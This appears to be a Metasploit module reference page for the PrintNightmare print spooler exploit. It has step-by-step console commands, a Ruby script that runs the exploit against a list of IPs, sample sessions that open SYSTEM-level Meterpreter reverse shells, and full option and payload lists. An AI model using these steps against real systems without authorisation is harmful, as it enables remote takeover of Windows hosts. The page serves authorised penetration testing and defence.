Print Spooler Remote DLL Injection - Metasploit


This page contains detailed information about how to use the exploit/windows/dcerpc/cve_2021_1675_printnightmare metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Print Spooler Remote DLL Injection
Module: exploit/windows/dcerpc/cve_2021_1675_printnightmare
Source code: modules/exploits/windows/dcerpc/cve_2021_1675_printnightmare.rb
Disclosure date: 2021-06-08
Last modification time: 2022-05-24 09:16:30 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: microsoft-ds, netbios-ssn
Target network port(s): 139, 445
List of CVEs: CVE-2021-1675, CVE-2021-34527

This module is also known as PrintNightmare.

The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM. This module uses the MS-RPRN vector which requires the Print Spooler service to be running.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Reliability:

  • unreliable-session: The module isn't expected to get a shell reliably (such as only once).

Stability:

  • crash-service-down: Module may crash the service, and the service remains down.

Side Effects:

  • artifacts-on-disk: Modules leaves a payload or a dropper on the target machine.

Basic Usage


Using cve_2021_1675_printnightmare against a single host

Normally, you can use exploit/windows/dcerpc/cve_2021_1675_printnightmare this way:

msf > use exploit/windows/dcerpc/cve_2021_1675_printnightmare
msf exploit(cve_2021_1675_printnightmare) > show targets
    ... a list of targets ...
msf exploit(cve_2021_1675_printnightmare) > set TARGET target-id
msf exploit(cve_2021_1675_printnightmare) > show options
    ... show and set options ...
msf exploit(cve_2021_1675_printnightmare) > exploit

Using cve_2021_1675_printnightmare against multiple hosts

But it looks like this is a remote exploit module, which means you can also engage multiple hosts.

First, create a list of IPs you wish to exploit with this module. One IP per line.

Second, set up a background payload listener. This payload should be the same as the one your cve_2021_1675_printnightmare will be using:

  1. Do: use exploit/multi/handler
  2. Do: set PAYLOAD [payload]
  3. Set other options required by the payload
  4. Do: set EXITONSESSION false
  5. Do: run -j

At this point, you should have a payload listening.

Next, create the following script. Notice you will probably need to modify the ip_list path, and payload options accordingly:

<ruby>
#
# Modify the path if necessary
#
ip_list = '/tmp/ip_list.txt'

File.open(ip_list, 'rb').each_line do |ip|
  print_status("Trying against #{ip}")
  run_single("use exploit/windows/dcerpc/cve_2021_1675_printnightmare")
  run_single("set RHOST #{ip}")
  run_single("set DisablePayloadHandler true")

  #
  # Set a payload that's the same as the handler.
  # You might also need to add more run_single commands to configure other
  # payload options.
  #
  run_single("set PAYLOAD [payload name]")

  run_single("run")
end
</ruby>

Next, run the resource script in the console:

msf > resource [path-to-resource-script]

And finally, you should see that the exploit is trying against those hosts similar to the following MS08-067 example:

msf > resource /tmp/exploit_hosts.rc
[*] Processing /tmp/exploit_hosts.rc for ERB directives.
[*] resource (/tmp/exploit_hosts.rc)> Ruby Code (402 bytes)
[*] Trying against 192.168.1.80

RHOST => 192.168.1.80
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199

[*] 192.168.1.80:445 - Automatically detecting the target...
[*] 192.168.1.80:445 - Fingerprint: Windows XP - Service Pack 3 - lang:English
[*] 192.168.1.80:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 192.168.1.80:445 - Attempting to trigger the vulnerability...
[*] Sending stage (957999 bytes) to 192.168.1.80
[*] Trying against 192.168.1.109
RHOST => 192.168.1.109
DisablePayloadHandler => true
PAYLOAD => windows/meterpreter/reverse_tcp
LHOST => 192.168.1.199
[*] 192.168.1.109:445 - Automatically detecting the target...
[*] 192.168.1.109:445 - Fingerprint: Windows 2003 - Service Pack 2 - lang:Unknown
[*] 192.168.1.109:445 - We could not detect the language pack, defaulting to English
[*] 192.168.1.109:445 - Selected Target: Windows 2003 SP2 English (NX)
[*] 192.168.1.109:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 1 opened (192.168.1.199:4444 -> 192.168.1.80:1071) at 2016-03-02 19:32:49 -0600

[*] Sending stage (957999 bytes) to 192.168.1.109
[*] Meterpreter session 2 opened (192.168.1.199:4444 -> 192.168.1.109:4626) at 2016-03-02 19:32:52 -0600

Required Options


  • RHOSTS: The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit

Knowledge Base


Vulnerable Application


The print spooler service can be abused by an authenticated remote attacker to load a DLL through a crafted DCERPC request, resulting in remote code execution as NT AUTHORITY\SYSTEM.

Verification Steps


  1. Disable Windows security options on the target

    1. Disable Windows Defender Real-time protection (Windows Security > Virus & threat protection > Virus & threat protection settings)
    2. Disable Windows Defender SmartScreen (Windows Security > Virus & threat protection > App & browser control)
  2. Exploit the vulnerability to force the target to load the DLL payload

    1. From msfconsole
    2. Do: use exploit/windows/dcerpc/cve_2021_1675_printnightmare
    3. Set the RHOSTS values
    4. Set the SMBUser and SMBPass values
    5. Set the PAYLOAD and related values
    6. Run the module

Options


ReconnectTimeout

This is an advanced option.

The timeout in seconds for reconnecting to the named pipe.

While exploiting the vulnerability, it is common for the named pipe connection to be closed. This option specifies a delay in seconds to wait before reconnecting to the service. A delay that is too short may fail with STATUS_OBJECT_NAME_NOT_FOUND.

Scenarios


Windows Server 2019

msf6 > use exploit/windows/dcerpc/cve_2021_1675_printnightmare
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set SMBUser aliddle
SMBUser => aliddle
msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set SMBPass Password1
SMBPass => Password1
msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > set RHOSTS 192.168.159.96
RHOSTS => 192.168.159.96
msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > exploit

[*] Started reverse TCP handler on 192.168.250.134:4444 
[*] 192.168.159.96:445 - Running automatic check ("set AutoCheck false" to disable)
[*] 192.168.159.96:445 - Target environment: Windows v10.0.17763 (x64)
[*] 192.168.159.96:445 - Enumerating the installed printer drivers...
[*] 192.168.159.96:445 - Retrieving the path of the printer driver directory...
[+] 192.168.159.96:445 - The target is vulnerable. Received ERROR_BAD_NET_NAME, implying the target is vulnerable.
[*] 192.168.159.96:445 - Server is running. Listening on 192.168.250.134:445
[*] 192.168.159.96:445 - Server started.
[*] 192.168.159.96:445 - The named pipe connection was broken, reconnecting...
[*] 192.168.159.96:445 - Successfully reconnected to the named pipe.
[*] Sending stage (200774 bytes) to 192.168.250.237
[*] 192.168.159.96:445 - The named pipe connection was broken, reconnecting...
[*] Meterpreter session 1 opened (192.168.250.134:4444 -> 192.168.250.237:61984) at 2022-05-16 17:42:19 -0400
[*] 192.168.159.96:445 - Server stopped.

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > sysinfo
Computer        : WIN-3MSP8K2LCGC
OS              : Windows 2016+ (10.0 Build 17763).
Architecture    : x64
System Language : en_US
Domain          : MSFLAB
Logged On Users : 7
Meterpreter     : x64/windows
meterpreter > 

Go back to menu.

Msfconsole Usage


Here is how the windows/dcerpc/cve_2021_1675_printnightmare exploit module looks in the msfconsole:

msf6 > use exploit/windows/dcerpc/cve_2021_1675_printnightmare

[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > show info

       Name: Print Spooler Remote DLL Injection
     Module: exploit/windows/dcerpc/cve_2021_1675_printnightmare
   Platform: 
       Arch: 
 Privileged: No
    License: Metasploit Framework License (BSD)
       Rank: Normal
  Disclosed: 2021-06-08

Provided by:
  Zhiniang Peng
  Xuefeng Li
  Zhipeng Huo
  Piotr Madej
  Zhang Yunhai
  cube0x0
  Spencer McIntyre
  Christophe De La Fuente

Module side effects:
 artifacts-on-disk

Module stability:
 crash-service-down

Module reliability:
 unreliable-session

Available targets:
  Id  Name
  --  ----
  0   Windows

Check supported:
  Yes

Basic options:
  Name         Current Setting  Required  Description
  ----         ---------------  --------  -----------
  FILE_NAME                     no        File name to share (Default Random)
  FOLDER_NAME                   no        Folder name to share (Default none)
  RHOSTS                        yes       The target host(s), see https://github.com/rapid7/metas
                                          ploit-framework/wiki/Using-Metasploit
  RPORT        445              yes       The SMB service port (TCP)
  SHARE                         no        Share (Default Random)
  SMBPass                       no        The password for the specified username
  SMBUser                       no        The username to authenticate as
  SRVHOST      192.168.0.126    yes       The local host or network interface to listen on. This
                                          must be an address on the local machine or 0.0.0.0 to l
                                          isten on all addresses.
  SRVPORT      445              yes       The local port to listen on.

Payload information:

Description:
  The print spooler service can be abused by an authenticated remote 
  attacker to load a DLL through a crafted DCERPC request, resulting 
  in remote code execution as NT AUTHORITY\SYSTEM. This module uses 
  the MS-RPRN vector which requires the Print Spooler service to be 
  running.

References:
  https://nvd.nist.gov/vuln/detail/CVE-2021-1675
  https://nvd.nist.gov/vuln/detail/CVE-2021-34527
  https://github.com/cube0x0/CVE-2021-1675
  https://web.archive.org/web/20210701042336/https://github.com/afwu/PrintNightmare
  https://github.com/calebstewart/CVE-2021-1675/blob/main/CVE-2021-1675.ps1
  https://github.com/byt3bl33d3r/ItWasAllADream

Also known as:
  PrintNightmare

Module Options


This is a complete list of options available in the windows/dcerpc/cve_2021_1675_printnightmare exploit:

msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > show options

Module options (exploit/windows/dcerpc/cve_2021_1675_printnightmare):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   FILE_NAME                     no        File name to share (Default Random)
   FOLDER_NAME                   no        Folder name to share (Default none)
   RHOSTS                        yes       The target host(s), see https://github.com/rapid7/meta
                                           sploit-framework/wiki/Using-Metasploit
   RPORT        445              yes       The SMB service port (TCP)
   SHARE                         no        Share (Default Random)
   SMBPass                       no        The password for the specified username
   SMBUser                       no        The username to authenticate as
   SRVHOST      192.168.0.126    yes       The local host or network interface to listen on. This
                                            must be an address on the local machine or 0.0.0.0 to
                                            listen on all addresses.
   SRVPORT      445              yes       The local port to listen on.

Payload options (windows/meterpreter/reverse_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  process          yes       Exit technique (Accepted: '', seh, thread, process, none)
   LHOST     192.168.0.126    yes       The listen address (an interface may be specified)
   LPORT     4444             yes       The listen port

Exploit target:

   Id  Name
   --  ----
   0   Windows

Advanced Options


Here is a complete list of advanced options supported by the windows/dcerpc/cve_2021_1675_printnightmare exploit:

msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > show advanced

Module advanced options (exploit/windows/dcerpc/cve_2021_1675_printnightmare):

   Name                    Current Setting    Required  Description
   ----                    ---------------    --------  -----------
   AutoCheck               true               no        Run check before exploit
   CHOST                                      no        The local client address
   CPORT                                      no        The local client port
   ConnectTimeout          10                 yes       Maximum number of seconds to establish a
                                                        TCP connection
   ContextInformationFile                     no        The information file that contains contex
                                                        t information
   DCERPC::ReadTimeout     10                 yes       The number of seconds to wait for DCERPC
                                                        responses
   DisablePayloadHandler   false              no        Disable the handler code for the selected
                                                         payload
   EXE::Custom                                no        Use custom exe instead of automatically g
                                                        enerating a payload exe
   EXE::EICAR              false              no        Generate an EICAR file instead of regular
                                                         payload exe
   EXE::FallBack           false              no        Use the default template in case the spec
                                                        ified one is missing
   EXE::Inject             false              no        Set to preserve the original EXE function
   EXE::OldMethod          false              no        Set to use the substitution EXE generatio
                                                        n method.
   EXE::Path                                  no        The directory in which to look for the ex
                                                        ecutable template
   EXE::Template                              no        The executable template file name.
   EnableContextEncoding   false              no        Use transient context when encoding paylo
                                                        ads
   ForceExploit            false              no        Override check result
   ListenerBindAddress                        no        The specific IP address to bind to if dif
                                                        ferent from SRVHOST
   ListenerBindPort                           no        The port to bind to if different from SRV
                                                        PORT
   ListenerComm                               no        The specific communication channel to use
                                                         for this service
   MSI::Custom                                no        Use custom msi instead of automatically g
                                                        enerating a payload msi
   MSI::EICAR              false              no        Generate an EICAR file instead of regular
                                                         payload msi
   MSI::Path                                  no        The directory in which to look for the ms
                                                        i template
   MSI::Template                              no        The msi template file name
   MSI::UAC                false              no        Create an MSI with a UAC prompt (elevatio
                                                        n to SYSTEM if accepted)
   NTLM::SendLM            true               yes       Always send the LANMAN response (except w
                                                        hen NTLMv2_session is specified)
   NTLM::SendNTLM          true               yes       Activate the 'Negotiate NTLM key' flag, i
                                                        ndicating the use of NTLM responses
   NTLM::SendSPN           true               yes       Send an avp of type SPN in the ntlmv2 cli
                                                        ent blob, this allows authentication on W
                                                        indows 7+/Server 2008 R2+ when SPN is req
                                                        uired
   NTLM::UseLMKey          false              yes       Activate the 'Negotiate Lan Manager Key'
                                                        flag, using the LM key when the LM respon
                                                        se is sent
   NTLM::UseNTLM2_session  true               yes       Activate the 'Negotiate NTLM2 key' flag,
                                                        forcing the use of a NTLMv2_session
   NTLM::UseNTLMv2         true               yes       Use NTLMv2 instead of NTLM2_session when
                                                        'Negotiate NTLM2' key is true
   Proxies                                    no        A proxy chain of format type:host:port[,t
                                                        ype:host:port][...]
   ReconnectTimeout        10                 yes       The timeout in seconds for reconnecting t
                                                        o the named pipe
   SMB::AlwaysEncrypt      true               yes       Enforces encryption even if the server do
                                                        es not require it (SMB3.x only). Note tha
                                                        t when it is set to false, the SMB client
                                                         will still encrypt the communication if
                                                        the server requires it
   SMB::ChunkSize          500                yes       The chunk size for SMB segments, bigger v
                                                        alues will increase speed but break NT 4.
                                                        0 and SMB signing
   SMB::Native_LM          Windows 2000 5.0   yes       The Native LM to send during authenticati
                                                        on
   SMB::Native_OS          Windows 2000 2195  yes       The Native OS to send during authenticati
                                                        on
   SMB::ProtocolVersion    1,2,3              yes       One or a list of coma-separated SMB proto
                                                        col versions to negotiate (e.g. "1" or "1
                                                        ,2" or "2,3,1")
   SMB::VerifySignature    false              yes       Enforces client-side verification of serv
                                                        er response signatures
   SMBDirect               true               no        The target port is a raw SMB service (not
                                                         NetBIOS)
   SMBDomain               WORKGROUP          yes       The domain name used during SMB exchange.
   SMBName                 *SMBSERVER         yes       The NetBIOS hostname (required for port 1
                                                        39 connections)
   SSL                     false              no        Negotiate SSL/TLS for outgoing connection
                                                        s
   SSLCipher                                  no        String for SSL cipher - "DHE-RSA-AES256-S
                                                        HA" or "ADH"
   SSLServerNameIndicatio                     no        SSL/TLS Server Name Indication (SNI)
   n
   SSLVerifyMode           PEER               no        SSL verification method (Accepted: CLIENT
                                                        _ONCE, FAIL_IF_NO_PEER_CERT, NONE, PEER)
   SSLVersion              Auto               yes       Specify the version of SSL/TLS to be used
                                                         (Auto, TLS and SSL23 are auto-negotiate)
                                                         (Accepted: Auto, TLS, SSL23, SSL3, TLS1,
                                                         TLS1.1, TLS1.2)
   VERBOSE                 false              no        Enable detailed status messages
   WORKSPACE                                  no        Specify the workspace for this module
   WfsDelay                2                  no        Additional delay in seconds to wait for a
                                                         session

Payload advanced options (windows/meterpreter/reverse_tcp):

   Name                    Current Setting  Required  Description
   ----                    ---------------  --------  -----------
   AutoLoadStdapi          true             yes       Automatically load the Stdapi extension
   AutoRunScript                            no        A script to run automatically on session cr
                                                      eation.
   AutoSystemInfo          true             yes       Automatically capture system information on
                                                       initialization.
   AutoUnhookProcess       false            yes       Automatically load the unhook extension and
                                                       unhook the process
   AutoVerifySessionTimeo  30               no        Timeout period to wait for session validati
   ut                                                 on to occur, in seconds
   EnableStageEncoding     false            no        Encode the second stage payload
   EnableUnicodeEncoding   false            yes       Automatically encode UTF-8 strings as hexad
                                                      ecimal
   HandlerSSLCert                           no        Path to a SSL certificate in unified PEM fo
                                                      rmat, ignored for HTTP transports
   InitialAutoRunScript                     no        An initial script to run on session creatio
                                                      n (before AutoRunScript)
   MeterpreterDebugBuild   false            no        Use a debug version of Meterpreter
   MeterpreterDebugLoggin                   no        The Meterpreter debug logging configuration
   g                                                  , see https://github.com/rapid7/metasploit-
                                                      framework/wiki/Meterpreter-Debugging-Meterp
                                                      reter-Sessions
   PayloadBindPort                          no        Port to bind reverse tcp socket to on targe
                                                      t system.
   PayloadProcessCommandL                   no        The displayed command line that will be use
   ine                                                d by the payload
   PayloadUUIDName                          no        A human-friendly name to reference this uni
                                                      que payload (requires tracking)
   PayloadUUIDRaw                           no        A hex string representing the raw 8-byte PU
                                                      ID value for the UUID
   PayloadUUIDSeed                          no        A string to use when generating the payload
                                                       UUID (deterministic)
   PayloadUUIDTracking     false            yes       Whether or not to automatically register ge
                                                      nerated UUIDs
   PingbackRetries         0                yes       How many additional successful pingbacks
   PingbackSleep           30               yes       Time (in seconds) to sleep between pingback
                                                      s
   PrependMigrate          false            yes       Spawns and runs shellcode in new process
   PrependMigrateProc                       no        Process to spawn and run shellcode in
   ReverseAllowProxy       false            yes       Allow reverse tcp even with Proxies specifi
                                                      ed. Connect back will NOT go through proxy
                                                      but directly to LHOST
   ReverseListenerBindAdd                   no        The specific IP address to bind to on the l
   ress                                               ocal system
   ReverseListenerBindPor                   no        The port to bind to on the local system if
   t                                                  different from LPORT
   ReverseListenerComm                      no        The specific communication channel to use f
                                                      or this listener
   ReverseListenerThreade  false            yes       Handle every connection in a new thread (ex
   d                                                  perimental)
   SessionCommunicationTi  300              no        The number of seconds of no activity before
   meout                                               this session should be killed
   SessionExpirationTimeo  604800           no        The number of seconds before this session s
   ut                                                 hould be forcibly shut down
   SessionRetryTotal       3600             no        Number of seconds try reconnecting for on n
                                                      etwork failure
   SessionRetryWait        10               no        Number of seconds to wait between reconnect
                                                       attempts
   StageEncoder                             no        Encoder to use if EnableStageEncoding is se
                                                      t
   StageEncoderSaveRegist                   no        Additional registers to preserve in the sta
   ers                                                ged payload if EnableStageEncoding is set
   StageEncodingFallback   true             no        Fallback to no encoding if the selected Sta
                                                      geEncoder is not compatible
   StagerRetryCount        10               no        The number of times the stager should retry
                                                       if the first connect fails
   StagerRetryWait         5                no        Number of seconds to wait for the stager be
                                                      tween reconnect attempts
   VERBOSE                 false            no        Enable detailed status messages
   WORKSPACE                                no        Specify the workspace for this module

Exploit Targets


Here is a list of targets (platforms and systems) which the windows/dcerpc/cve_2021_1675_printnightmare module can exploit:

msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > show targets

Exploit targets:

   Id  Name
   --  ----
   0   Windows

Compatible Payloads


This is a list of possible payloads which can be delivered and executed on the target system using the windows/dcerpc/cve_2021_1675_printnightmare exploit:

msf6 exploit(windows/dcerpc/cve_2021_1675_printnightmare) > show payloads

Compatible Payloads
===================

   #    Name                                                        Disclosure Date  Rank    Check  Description
   -    ----                                                        ---------------  ----    -----  -----------
   0    payload/generic/custom                                                       normal  No     Custom Payload
   1    payload/generic/debug_trap                                                   normal  No     Generic x86 Debug Trap
   2    payload/generic/shell_bind_tcp                                               normal  No     Generic Command Shell, Bind TCP Inline
   3    payload/generic/shell_reverse_tcp                                            normal  No     Generic Command Shell, Reverse TCP Inline
   4    payload/generic/ssh/interact                                                 normal  No     Interact with Established SSH Connection
   5    payload/generic/tight_loop                                                   normal  No     Generic x86 Tight Loop
   6    payload/windows/dllinject/bind_hidden_ipknock_tcp                            normal  No     Reflective DLL Injection, Hidden Bind Ipknock TCP Stager
   7    payload/windows/dllinject/bind_hidden_tcp                                    normal  No     Reflective DLL Injection, Hidden Bind TCP Stager
   8    payload/windows/dllinject/bind_ipv6_tcp                                      normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager (Windows x86)
   9    payload/windows/dllinject/bind_ipv6_tcp_uuid                                 normal  No     Reflective DLL Injection, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   10   payload/windows/dllinject/bind_named_pipe                                    normal  No     Reflective DLL Injection, Windows x86 Bind Named Pipe Stager
   11   payload/windows/dllinject/bind_nonx_tcp                                      normal  No     Reflective DLL Injection, Bind TCP Stager (No NX or Win7)
   12   payload/windows/dllinject/bind_tcp                                           normal  No     Reflective DLL Injection, Bind TCP Stager (Windows x86)
   13   payload/windows/dllinject/bind_tcp_rc4                                       normal  No     Reflective DLL Injection, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   14   payload/windows/dllinject/bind_tcp_uuid                                      normal  No     Reflective DLL Injection, Bind TCP Stager with UUID Support (Windows x86)
   15   payload/windows/dllinject/reverse_hop_http                                   normal  No     Reflective DLL Injection, Reverse Hop HTTP/HTTPS Stager
   16   payload/windows/dllinject/reverse_http                                       normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (wininet)
   17   payload/windows/dllinject/reverse_http_proxy_pstore                          normal  No     Reflective DLL Injection, Reverse HTTP Stager Proxy
   18   payload/windows/dllinject/reverse_ipv6_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (IPv6)
   19   payload/windows/dllinject/reverse_nonx_tcp                                   normal  No     Reflective DLL Injection, Reverse TCP Stager (No NX or Win7)
   20   payload/windows/dllinject/reverse_ord_tcp                                    normal  No     Reflective DLL Injection, Reverse Ordinal TCP Stager (No NX or Win7)
   21   payload/windows/dllinject/reverse_tcp                                        normal  No     Reflective DLL Injection, Reverse TCP Stager
   22   payload/windows/dllinject/reverse_tcp_allports                               normal  No     Reflective DLL Injection, Reverse All-Port TCP Stager
   23   payload/windows/dllinject/reverse_tcp_dns                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (DNS)
   24   payload/windows/dllinject/reverse_tcp_rc4                                    normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   25   payload/windows/dllinject/reverse_tcp_rc4_dns                                normal  No     Reflective DLL Injection, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   26   payload/windows/dllinject/reverse_tcp_uuid                                   normal  No     Reflective DLL Injection, Reverse TCP Stager with UUID Support
   27   payload/windows/dllinject/reverse_winhttp                                    normal  No     Reflective DLL Injection, Windows Reverse HTTP Stager (winhttp)
   28   payload/windows/dns_txt_query_exec                                           normal  No     DNS TXT Record Payload Download and Execution
   29   payload/windows/download_exec                                                normal  No     Windows Executable Download (http,https,ftp) and Execute
   30   payload/windows/exec                                                         normal  No     Windows Execute Command
   31   payload/windows/loadlibrary                                                  normal  No     Windows LoadLibrary Path
   32   payload/windows/messagebox                                                   normal  No     Windows MessageBox
   33   payload/windows/meterpreter/bind_hidden_ipknock_tcp                          normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind Ipknock TCP Stager
   34   payload/windows/meterpreter/bind_hidden_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Hidden Bind TCP Stager
   35   payload/windows/meterpreter/bind_ipv6_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager (Windows x86)
   36   payload/windows/meterpreter/bind_ipv6_tcp_uuid                               normal  No     Windows Meterpreter (Reflective Injection), Bind IPv6 TCP Stager with UUID Support (Windows x86)
   37   payload/windows/meterpreter/bind_named_pipe                                  normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Bind Named Pipe Stager
   38   payload/windows/meterpreter/bind_nonx_tcp                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (No NX or Win7)
   39   payload/windows/meterpreter/bind_tcp                                         normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (Windows x86)
   40   payload/windows/meterpreter/bind_tcp_rc4                                     normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager (RC4 Stage Encryption, Metasm)
   41   payload/windows/meterpreter/bind_tcp_uuid                                    normal  No     Windows Meterpreter (Reflective Injection), Bind TCP Stager with UUID Support (Windows x86)
   42   payload/windows/meterpreter/reverse_hop_http                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse Hop HTTP/HTTPS Stager
   43   payload/windows/meterpreter/reverse_http                                     normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (wininet)
   44   payload/windows/meterpreter/reverse_http_proxy_pstore                        normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTP Stager Proxy
   45   payload/windows/meterpreter/reverse_https                                    normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (wininet)
   46   payload/windows/meterpreter/reverse_https_proxy                              normal  No     Windows Meterpreter (Reflective Injection), Reverse HTTPS Stager with Support for Custom Proxy
   47   payload/windows/meterpreter/reverse_ipv6_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (IPv6)
   48   payload/windows/meterpreter/reverse_named_pipe                               normal  No     Windows Meterpreter (Reflective Injection), Windows x86 Reverse Named Pipe (SMB) Stager
   49   payload/windows/meterpreter/reverse_nonx_tcp                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (No NX or Win7)
   50   payload/windows/meterpreter/reverse_ord_tcp                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse Ordinal TCP Stager (No NX or Win7)
   51   payload/windows/meterpreter/reverse_tcp                                      normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager
   52   payload/windows/meterpreter/reverse_tcp_allports                             normal  No     Windows Meterpreter (Reflective Injection), Reverse All-Port TCP Stager
   53   payload/windows/meterpreter/reverse_tcp_dns                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (DNS)
   54   payload/windows/meterpreter/reverse_tcp_rc4                                  normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   55   payload/windows/meterpreter/reverse_tcp_rc4_dns                              normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   56   payload/windows/meterpreter/reverse_tcp_uuid                                 normal  No     Windows Meterpreter (Reflective Injection), Reverse TCP Stager with UUID Support
   57   payload/windows/meterpreter/reverse_winhttp                                  normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
   58   payload/windows/meterpreter/reverse_winhttps                                 normal  No     Windows Meterpreter (Reflective Injection), Windows Reverse HTTPS Stager (winhttp)
   59   payload/windows/meterpreter_bind_named_pipe                                  normal  No     Windows Meterpreter Shell, Bind Named Pipe Inline
   60   payload/windows/meterpreter_bind_tcp                                         normal  No     Windows Meterpreter Shell, Bind TCP Inline
   61   payload/windows/meterpreter_reverse_http                                     normal  No     Windows Meterpreter Shell, Reverse HTTP Inline
   62   payload/windows/meterpreter_reverse_https                                    normal  No     Windows Meterpreter Shell, Reverse HTTPS Inline
   63   payload/windows/meterpreter_reverse_ipv6_tcp                                 normal  No     Windows Meterpreter Shell, Reverse TCP Inline (IPv6)
   64   payload/windows/meterpreter_reverse_tcp                                      normal  No     Windows Meterpreter Shell, Reverse TCP Inline
   65   payload/windows/metsvc_bind_tcp                                              normal  No     Windows Meterpreter Service, Bind TCP
   66   payload/windows/metsvc_reverse_tcp                                           normal  No     Windows Meterpreter Service, Reverse TCP Inline
   67   payload/windows/patchupdllinject/bind_hidden_ipknock_tcp                     normal  No     Windows Inject DLL, Hidden Bind Ipknock TCP Stager
   68   payload/windows/patchupdllinject/bind_hidden_tcp                             normal  No     Windows Inject DLL, Hidden Bind TCP Stager
   69   payload/windows/patchupdllinject/bind_ipv6_tcp                               normal  No     Windows Inject DLL, Bind IPv6 TCP Stager (Windows x86)
   70   payload/windows/patchupdllinject/bind_ipv6_tcp_uuid                          normal  No     Windows Inject DLL, Bind IPv6 TCP Stager with UUID Support (Windows x86)
   71   payload/windows/patchupdllinject/bind_named_pipe                             normal  No     Windows Inject DLL, Windows x86 Bind Named Pipe Stager
   72   payload/windows/patchupdllinject/bind_nonx_tcp                               normal  No     Windows Inject DLL, Bind TCP Stager (No NX or Win7)
   73   payload/windows/patchupdllinject/bind_tcp                                    normal  No     Windows Inject DLL, Bind TCP Stager (Windows x86)
   74   payload/windows/patchupdllinject/bind_tcp_rc4                                normal  No     Windows Inject DLL, Bind TCP Stager (RC4 Stage Encryption, Metasm)
   75   payload/windows/patchupdllinject/bind_tcp_uuid                               normal  No     Windows Inject DLL, Bind TCP Stager with UUID Support (Windows x86)
   76   payload/windows/patchupdllinject/reverse_ipv6_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (IPv6)
   77   payload/windows/patchupdllinject/reverse_nonx_tcp                            normal  No     Windows Inject DLL, Reverse TCP Stager (No NX or Win7)
   78   payload/windows/patchupdllinject/reverse_ord_tcp                             normal  No     Windows Inject DLL, Reverse Ordinal TCP Stager (No NX or Win7)
   79   payload/windows/patchupdllinject/reverse_tcp                                 normal  No     Windows Inject DLL, Reverse TCP Stager
   80   payload/windows/patchupdllinject/reverse_tcp_allports                        normal  No     Windows Inject DLL, Reverse All-Port TCP Stager
   81   payload/windows/patchupdllinject/reverse_tcp_dns                             normal  No     Windows Inject DLL, Reverse TCP Stager (DNS)
   82   payload/windows/patchupdllinject/reverse_tcp_rc4                             normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption, Metasm)
   83   payload/windows/patchupdllinject/reverse_tcp_rc4_dns                         normal  No     Windows Inject DLL, Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
   84   payload/windows/patchupdllinject/reverse_tcp_uuid                            normal  No     Windows Inject DLL, Reverse TCP Stager with UUID Support
   85   payload/windows/patchupmeterpreter/bind_hidden_ipknock_tcp                   normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind Ipknock TCP Stager
   86   payload/windows/patchupmeterpreter/bind_hidden_tcp                           normal  No     Windows Meterpreter (skape/jt Injection), Hidden Bind TCP Stager
   87   payload/windows/patchupmeterpreter/bind_ipv6_tcp                             normal  No     Windows Meterpreter (skape/jt Injection), Bind IPv6 TCP Stager (Windows x86)
